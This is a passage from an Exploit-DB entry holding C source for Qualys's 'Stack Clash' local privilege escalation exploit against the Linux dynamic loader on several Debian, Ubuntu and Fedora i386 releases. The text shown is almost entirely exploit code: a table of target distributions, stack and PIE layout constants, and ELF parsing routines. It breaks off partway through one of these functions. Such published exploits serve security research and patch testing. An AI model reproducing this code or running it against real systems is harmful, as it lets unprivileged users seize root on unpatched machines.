Exploit-DB #42276
Description: Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation
Type: local
Platform: linux_x86
Date: 2017-06-28
Author: Qualys Corporation

Exploit:
/*
 * Linux_ldso_dynamic.c for CVE-2[PII_REDACTED], CVE-2[PII_REDACTED]
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define ALIGN ((size_t)16)

#define PIE_BASE ((uintptr_t)0x80000000)
#define PIE_RAND ((size_t)1<<20)

#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)

#define MAX_ARG_STRLEN ((size_t)128<<10)

static const struct target * target;
static const struct target {
    const char * name;
    const char * repl_lib;
} targets[] = {
    {
        .name = "Debian 9 (stretch)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Debian 10 (buster)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 14.04.5 (Trusty Tahr)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 16.04.2 (Xenial Xerus)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Ubuntu 17.04 (Zesty Zapus)",
        .repl_lib = "lib/i386-linux-gnu",
    },
    {
        .name = "Fedora 23 (Server Edition)",
        .repl_lib = "lib",
    },
    {
        .name = "Fedora 24 (Server Edition)",
        .repl_lib = "lib",
    },
    {
        .name = "Fedora 25 (Server Edition)",
        .repl_lib = "lib",
    },
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
        if (p->a_type == type)
            return p->a_un.a_val;
    die();
}

struct elf_info {
    uintptr_t map_start, map_end;
    uintptr_t dyn_start, dyn_end;
};

static struct elf_info
get_elf_info(const char * const binary)
{
    static struct elf_info elf;
    const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN) die();
    if (ehdr->e_machine != EM_386) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();

    unsigned int i;
  {
    int interp = 0;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type == PT_INTERP) interp = 1;
        if (phdr->p_type != PT_LOAD) continue;
        if (elf.map_start) die();

        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr != phdr->p_paddr) die();
        if (phdr->p_vaddr >= SAFESZ) die();
        if (phdr->p_memsz >= SAFESZ) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_align != PAGESZ) die();

        switch (phdr->p_flags) {
            case PF_R | PF_X:
                if (phdr->p_vaddr) die();
                break;
            case PF_R | PF_W:
                elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
                elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
                if (!elf.map_start) die();
                break;
            default:
                die();
        }
    }
    if (!interp) die();
    if (!elf.map_start) die();
  }
    for (i = 0; i < ehdr->e_shnum; i++) {
        const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
        if (!(shdr->sh_flags & SHF_ALLOC)) continue;
        if (shdr->sh_size <= 0) die();
        if (shdr->sh_size >= SAFESZ) die();
        if (shdr->sh_addr >= SAFESZ) die();
        #undef SAFESZ
        const uintptr_t start